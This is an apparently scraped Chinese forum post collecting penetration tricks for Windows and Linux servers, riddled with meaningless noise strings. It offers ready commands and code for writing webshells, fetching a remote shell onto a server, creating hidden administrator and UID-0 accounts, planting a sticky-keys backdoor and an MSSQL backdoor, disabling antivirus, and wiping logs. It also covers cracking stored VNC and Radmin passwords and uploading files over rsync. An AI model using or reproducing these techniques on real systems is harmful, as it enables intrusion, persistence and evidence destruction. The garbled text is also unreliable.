渗透技巧总结

admin

旁站路径问题
6 x$ _2 @: n9 v- G4 `9 S) y1、读网站配置。
2、用以下VBS
3 A6 L* i" }( Z: yOn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
# Q$ F5 ~% L% P, S6 E; J! B        
" U$ |0 ^& z: c( f" v' G
, F# o6 @4 d4 x. `Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

& v1 A8 _' q3 E  TUsage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
% u& Q- C; J* R6 NEnd If
1 f4 \6 _: x+ o4 I7 L7 B# MSet ObjService=GetObject
3 P6 ^6 \9 I9 M( b7 f
( |1 E) R9 w) U; `& |("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
" a0 o  `7 r: ]6 l3 |        If IsNumeric(obj3w.Name)
1 N* ?! ?" \& s& u/ T
! C& J8 p2 @! p9 L/ VThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

2 P' Y, ]! _- A' @( O# w2 l<> 0 Then WScript.Quit (1)
) M/ u, w) {, C, ^0 F! ?                WScript.Echo Chr(10) & "[" &
$ H7 v; k$ L$ {  Y4 M' i
OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
     

6 [) e" c3 Y* N! d: J) \                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
. W* n' r$ x5 Y* y                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
* D2 B- ~6 E  A& h0 u# F0 r      

) \6 G) f& U( B( X2 f         WScript.Echo "ath            : " & VDirObj.Path
& y$ `2 j0 l" e' g' \* B' w        End If
Next
+ f% k, q0 y8 Y* s4 O4 v. [复制代码
  o  S" M. K+ \! b' j+ p3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
1 R$ C0 }% o/ c+ U  G; a/ p4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
/ I; n6 s6 Q2 k  a% p2 Rurl/wp-content/plugins/akismet/akismet.php
- q) \6 _& H' Y+ @: wurl/wp-content/plugins/akismet/hello.php
& y- }( F3 ~% i* p( U——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
3 Y! l3 F3 C3 `$ c4 n0 k+ L& P, m' TphpMyAdmin/darkblue_orange/layout.inc.php
4 \' `+ `- {+ wphpMyAdmin/index.php?lang[]=1
, T. E4 K) n% t1 k! N4 s1 ?7 jphpmyadmin/themes/darkblue_orange/layout.inc.php
, {# j4 U$ M4 D6 i9 C( i: \————————————————————
网站可能目录(注：一般是虚拟主机类）
$ Z; m7 }! P6 F* Mdata/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
3 y# ~" n9 D$ rnetsh ras set user administrator permit #允许administrator拨入该VPN
) T/ W' z; E) B: z9 ~, d6 W1 {netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
" M* u. U+ ~4 ~" S3 W, qnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
; K4 S% Y- k" ~2 v' u0 mnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
+ A& S3 y' q& o3 T) |+ Y1 Q3 g! Z————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
: s/ v3 [9 G3 N8 T7 Jexec master.dbo.sp_addlogin test,123
+ z' U5 d6 A/ _7 o) I4 rEXEC sp_addsrvrolemember 'test, 'sysadmin'
: Z1 i* a# i/ B" ^# ^9 c8 {然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

& ?: T( s- j) x& T另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
! {7 ^8 N' }! s+ q: X4 G4 G2 kvar o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
* M- K! }. u/ Z* P, f7 `& Xz.changePassword("123456","")
) _7 U4 c, S- _# I" yz.setting("AccountType")=3;
7 M$ P! `: `7 C9 V/ E
vbs:
- J7 t/ n: r! h2 c3 iSet   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
9 K6 e$ N" B" W* ?: ez.setting("AccountType")=3
——————————————————
6 e1 t. p/ I7 Zcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

1 n; N' I; x! s, U( x0 q1 z: o( S命令如下
9 J7 a  Q( u# y' K5 z& ]# {3 ~" hcacls c: /e /t /g everyone:F           #c盘everyone权限
2 ~0 @6 |* l# Y8 B7 acacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
; H" f. e3 ^1 E5 \. k9 D3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
c、终端服务器超出了最大允许连接
: ~: g/ L( \/ Y2 H  _* g' [: KXP 运行mstsc /admin
( v% \1 X1 Y! W5 z( e; h  i2003 运行mstsc /console   

7 m! X% j% d8 J杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
4 A0 O; ^8 @3 _# ^) g5 v* d3 snet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
  n% ?# m/ i+ Enet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
9 A( z# ?) o- k# H6 ~
卖咖啡：net stop "McAfee McShield"
0 S! d% O$ J" V8 [————————————————————

5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
( Y& z2 O6 e  r4 v* |$ scopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
2 Q& Y/ c! ~9 B) J! f6 L! ucopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
9 \+ o8 L' k$ a$ ~2 v+ |/ h——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
. U' f' k9 g, \1 S; G  P3 U  z2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
$ g4 Y$ k1 ]" k" ?4、利用Hacker Defender把相关用户注册表隐藏
- @' c* P! p2 `5 G" I1 j1 m——————————————————————
MSSQL扩展后门：
" n3 Y6 u1 v3 t- B" ^( C3 ]3 WUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
' d3 ~4 l( h( I# LGRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
6 f' f& g8 s5 g0 m" ~0 ?C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
; S6 A! C/ F  q1 t- E直接删除 ex0111124.log
+ u8 q8 o: M) ]8 B8 s9 a/ x/ g不成功，“原文件...正在使用”
/ ]; D+ Q# |, m  j当然可以直接删除ex011120.log / ex011121.log
( f6 x5 o" ^" [0 c用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log
: ]) k+ y2 t" A, S" i' V- K
MSSQL查询分析器连接记录清除：
3 I! B0 M4 ~, \% wMSSQL 2000位于注册表如下：
2 E, a) {/ X- F) A# l' J( ^HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
0 S5 g- ]" H/ A9 zMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
/ K9 W  ]3 I# [5 M0 ZWith Retrieval
% N$ M6 R2 z, V' r4 q5 E1 e, p.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
# r" M/ Q) g, Q! SEnd With
/ @5 d- k9 _5 F3 O8 P1 F. H  w/ ZSet Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
; I& x! l3 ^5 p/ V0 O2 `8 j& S; C6 u.Type = 1
/ K9 F$ |6 s+ M1 i# A3 ^.Open
7 \% r0 Z, y  C6 q7 U) V/ p2 T$ Z.Write GetRemoteData
* p( G0 b. ]5 I+ C! i* D.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
7 o/ f! g1 B! f( r4 X( e.Close()
End With
4 c8 l" p' R4 {& iSet Ads=nothing
End Sub
( V/ t% E8 }+ M- y3 E2 O
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

VNC提权方法:
% @) j) p  i! R. V5 b8 @$ J4 e利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
% \1 N! A% @$ }) j  d; r注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
1 q6 ~8 t$ S) \" O1 \regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
; P5 p! U/ s$ k# j, mRadmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
0 H2 h( }$ E, ~( y" G' Y7 z' ZUsers\Application Data\Symantec\pcAnywhere\文件夹下。
! U! K  t. _7 ~, u- y3 l/ M——————————————————————
' A9 v; l& }5 q9 q/ a3 D0 e% i搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
+ j- Q& |$ Y* k! F0 V——————————————————----------
! X  v' \4 S4 I$ i2 D1 v# tWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
9 O: l# W6 K9 r6 L; r' ]8 v2 }! A来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
, P; {4 K2 e( K; c5 g/ K没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
& _- g$ b7 y3 L4 }' ^
, L. w/ n- D8 @6 L1433 SA点构建注入点。
<%
8 r# J3 `5 d  i( C+ E* jstrSQLServerName = "服务器ip"
/ E/ [0 X+ S" J% ?# rstrSQLDBUserName = "数据库帐号"
7 P1 y2 A2 \' \, }4 l% o) @strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
: \, v$ a5 O6 x( I4 Y. mSet conn = Server.createObject("ADODB.Connection")
4 M7 J# N6 Q! M( y+ |strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
* W( n3 p: l' N6 W# @- u% W6 G
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
: J( F. u7 ^' f- J- F4 U. l; A7 \) M
, k8 Y0 O6 F1 ]strSQLDBName & ";"
& x! a( o# U& a. k/ @! g% P$ nconn.open strCon
dim rs,strSQL,id
$ x  Y9 n1 L$ C: |, Gset rs=server.createobject("ADODB.recordset")
! x  _2 ?+ C; o+ J+ _id = request("id")
6 l5 V, {+ n" v1 SstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
( @+ y- H' W7 Z  Q" Rrs.close
%>
" a5 N) w/ O6 |复制代码
8 k  g2 {. L* n) C! D% N+ `******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
/ b, _9 D& O) d! K) Z2 b& H看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
" M+ s. v5 K2 O$ z: t/ o. Vbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
匿名方式
  \( Y! V2 X: T. P& xldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

  T8 T4 x# I: d' I6 @3 n"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

2 s+ a( m2 L# W+ K/ m"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

: d& a/ w8 r3 d
4.查找10条用户记录
5 ]' D( L0 R' x% n6 fldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

2 h$ T* D( ~6 |. C) X实战:
0 I" B( X& b, E7 `3 f6 ?1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
( H- q# \) `& @# B1 V# _3 O
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
, S7 q, x* z! f- |5 j找到ou,dc,dc设置

( Y6 V! w+ V2 i3.查找管理员信息
2 W( R. ^, O2 v3 g匿名方式
+ ~% D4 q& A9 E% q2 t( O* eldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
* A1 Q1 y7 w6 g$ a
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
- f5 l% v* I" P4 _' O有密码形式
4 |, f) a% b- z8 f" Q! ~# Z. bldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
9 @$ i. W6 z  F( v% A/ y; x
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
/ h) Y7 O: {7 ]* o

4 P; c: i0 Y5 r( j4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
1.返回所有的属性
% g; \1 B  h9 d% Rldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
. u7 h/ r4 Z4 I, i3 v+ Z$ T, l. |version: 1
dn: dc=ruc,dc=edu,dc=cn
4 ?% F2 l" v" C$ Hdc: ruc
; @# E# r3 W7 d. V" A; pobjectClass: domain

! x) b+ G( ~. R  q5 G1 C( a6 vdn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
1 o  ]& ]7 R. ]8 wsn: manager
cn: manager
2 w2 V7 z( j3 q8 o! |- g
dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
; {' d7 B0 {+ Y* gobjectClass: inetOrgPerson
objectClass: organizationalPerson
5 ^+ V' ~" N6 f/ zobjectClass: person
+ q) i+ }+ x$ o! z* K2 aobjectClass: top
sn: superadmin
cn: superadmin
  ?7 J3 K" P* l, i6 G
! H: I  A  e6 edn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
- K  H+ B2 O# a( T* `5 B+ EobjectClass: inetOrgPerson
objectClass: organizationalPerson
7 J2 G5 r+ Z; c- c3 {objectClass: person
8 p- F- C* h% gobjectClass: top
sn: admin
* r& ~0 W  [# }" l+ X$ Q8 Bcn: admin
7 v* j4 g3 |- {5 L9 [
dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
! u7 E4 L  h6 ]objectClass: top
objectClass: person
objectClass: organizationalPerson
% C$ n; |1 K: W# H, ]. M' n( KobjectClass: inetOrgPerson
sn: dcp_anonymous
, p0 \+ x/ y, p& o( Ncn: dcp_anonymous
* r) i- G( w2 q8 k
) p$ F7 W9 A& R# V# Z: x2.查看基类
  h) L: r$ k) x. a8 F% a/ wbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

: P2 q: q3 s1 C4 _more
. }# `% q! U. R- f( Qversion: 1
dn: dc=ruc,dc=edu,dc=cn
* i1 S9 G; _1 L8 R) G8 e$ e/ Edc: ruc
objectClass: domain

3.查找
# d9 v" h  Y6 {5 \) dbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
; W* O1 M& y2 X  x1 ydn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
+ M# e& J, _! @5 ysupportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
* m- L1 Z* S# Y' @: n0 O0 `# ssupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
' J) S: L: i8 S* T' rsupportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
0 x0 z/ h7 a, x" Y& ysupportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
! ?0 M4 [3 _3 W) r9 L% L5 msupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
6 E0 z% ^7 S8 `" k! o) ]supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
% n/ t- S$ C6 z6 h3 psupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
0 a2 n. |* _$ y: LsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
, q6 \9 Y0 z8 C' KsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
5 i# O5 `$ c$ m1 a/ GsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
, o) t" |  y4 R( @supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
( s8 R( I; @* {# osupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
% y9 }  t/ U1 Q) l3 [supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
% y7 Y. _# S! n2 r. A0 VsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
' {, `- F, u: G4 ZsupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
0 O- x7 E6 z6 P9 o1 N9 R2 w$ EsupportedControl: 2.16.840.1.113730.3.4.9
8 o: L0 S8 V4 n% fsupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
( ?$ s7 X2 y  |  Z, N% P6 N' I) w% {supportedControl: 2.16.840.1.113730.3.4.17
/ q9 e6 Q5 ~( S/ {supportedControl: 2.16.840.1.113730.3.4.19
+ }/ R8 S+ i: o& o& n6 \supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
8 @* K* U8 L# L4 EsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
7 C2 A' n& F+ ^2 L  isupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
3 Q' V. m2 {1 e8 e% N( R$ `4 KsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
% l! y4 q- O0 {, R: isupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
2 s4 x- u+ M: P  {, z7 O& NsupportedControl: 2.16.840.1.113730.3.4.14
6 n/ _1 w3 M( ]0 |* q% B2 }* nsupportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
" j/ q0 ]' }% KsupportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
% ^" o: ]: l" E) _: WsupportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
7 R1 \; f( M2 I* c" NvendorVersion: Sun-Java(tm)-System-Directory/6.2
: `. j# i! }; u4 ?5 l+ {dataversion: 020090516011411
+ o1 K; y5 {  m. Wnetscapemdsuffix: cn=ldap://dc=webA:389
- {; f/ O3 v& Q+ e2 TsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
% G) q  x6 X& {6 v5 E/ Q9 z: CsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
& J" `! x& V. t9 j. P% bsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
; }2 H0 \# ?1 Z( `# L' osupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
4 A, j2 e& ~" c2 \* ]supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
: U3 e' _# }* t# s; y# t; psupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
* z5 K6 a+ F( r  w( Y+ asupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
1 o5 G( q6 a' q$ B- q" }supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
$ T: N  N# I% z, asupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
8 y* b( {2 B4 O- jsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
+ N6 q( A( U1 j2 w. H0 D0 i# gsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
$ h8 o5 L5 H( x: [! QsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
- q- i) A  I& }supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
3 F: E+ D7 X2 |! y7 y6 A, RsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
/ J; X, i* U( n* i$ |supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
6 [  r; S% A5 d* gsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
4 _5 N3 L" i+ K' U( vsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
  }/ a6 a* |" b! R4 osupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
/ R1 O. m, P/ A& {: I! z) I5 ysupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
0 \3 J; z& W& ?# k* f5 JsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
" h( X( ?" `: I! ^( v) k5 MsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
" H( X# D3 L$ a- w* \: g4 W; asupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
3 @8 P' Q. Y5 ssupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
0 V0 `2 a. S6 ~+ |% ~6 ~  ysupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
# c& t8 i" x( ~( w! r/ l, I/ NsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
. o/ V  E1 M" }4 YsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
+ a6 f! `2 l" k1 L# t( qsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
* S( w/ \. {' Y; {/ h, nsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
5 d5 P  u) h0 M' fsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
" q; w3 H) b$ z3 S————————————
2. NFS渗透技巧
" V1 {0 o- Q2 Ishowmount -e ip
列举IP
" h* L9 K1 O* e( q3 @5 i——————
' b/ l4 F: s5 F3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
( d: e2 u& ^2 U0 a$ jimg_finance
0 ^) L" L; T8 A+ p& G1 |9 _$ ~' pauto
img_auto
4 y9 Y' H& C- u9 ]/ N& dhtml_cms
img_cms
ent_cms
ent_img
ceshi
: o8 k0 S9 A* [3 Ares_img
res_img_c2
chip
* s1 C. j2 u9 j* u; jchip_c2
ent_icms
games
gamesimg
3 n) U' B  E& v3 @2 W3 W& h) |media
mediaimg
7 z* r! G0 j' W/ V/ m0 v9 Pfashion
* e6 p! H+ y* q. n% S) W$ ares-fashion
) z3 f7 a$ r- h6 k9 T6 `7 Tres-fo
! H" ]% l+ b" Ytaobao-home
/ K9 }) u1 ]7 A$ ?0 tres-taobao-home
house
res-house
. H) l. j0 _8 U2 a" Y9 b, K9 e7 Jres-home
res-edu
res-ent
res-labs
* ^$ O& X7 f7 d; o# |% kres-news
3 ^- w  V& t9 _. X0 r* ]+ `res-phtv
res-media
home
edu
6 H7 N- c/ r$ c- w0 ?6 jnews
res-book
/ }& K# Y# ~/ l. A  q" o
看相应的下级目录(注意一定要在目录后面添加上/)
9 h2 k2 C  Y; I* H
7 O- R3 @$ F7 n. ^6 u0 f" r
5 `; n# O$ ^8 N8 g5 D1 V$ irsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
+ m  x( h$ [  s/ U5 U: i0 H7 W; v& Irsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
( W: {, v  D! Y
3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
" L2 ~* V! P+ B& |1 [+ Ohttp://app.finance.xxx.com/warn/nothack.txt
) u: }, N1 b: t0 U2 B3 b% b9 O% ^
四.squid渗透技巧
nc -vv baidu.com 80
; k9 j* u+ O  C! x# Y4 mGET HTTP://www.sina.com / HTTP/1.0
& r9 ^) O% v- i; ]. eGET HTTP://WWW.sina.com:22 / HTTP/1.0
9 {3 B* c2 F1 F+ o! _" e五.SSH端口转发
; F6 R/ @& c; V' s3 g: t! A& g! Ossh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

六.joomla渗透小技巧
确定版本
2 }$ Y; [" g1 l( \3 j- o/ h' Qindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47
- S. g" H! J3 V/ V8 q, `
重新设置密码
index.php?option=com_user&view=reset&layout=confirm

& |% c; J3 b: y+ B七: Linux添加UID为0的root用户
) y3 {1 p3 N0 i' N( quseradd -o -u 0 nothack

八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
  }* v- h3 `  C% k* v7 R* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
. ^- k6 n, z1 C1 W$ S* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
6 k7 R9 w* s6 N3 T* [argp@julius ~]$ ./nfs_mount_ex
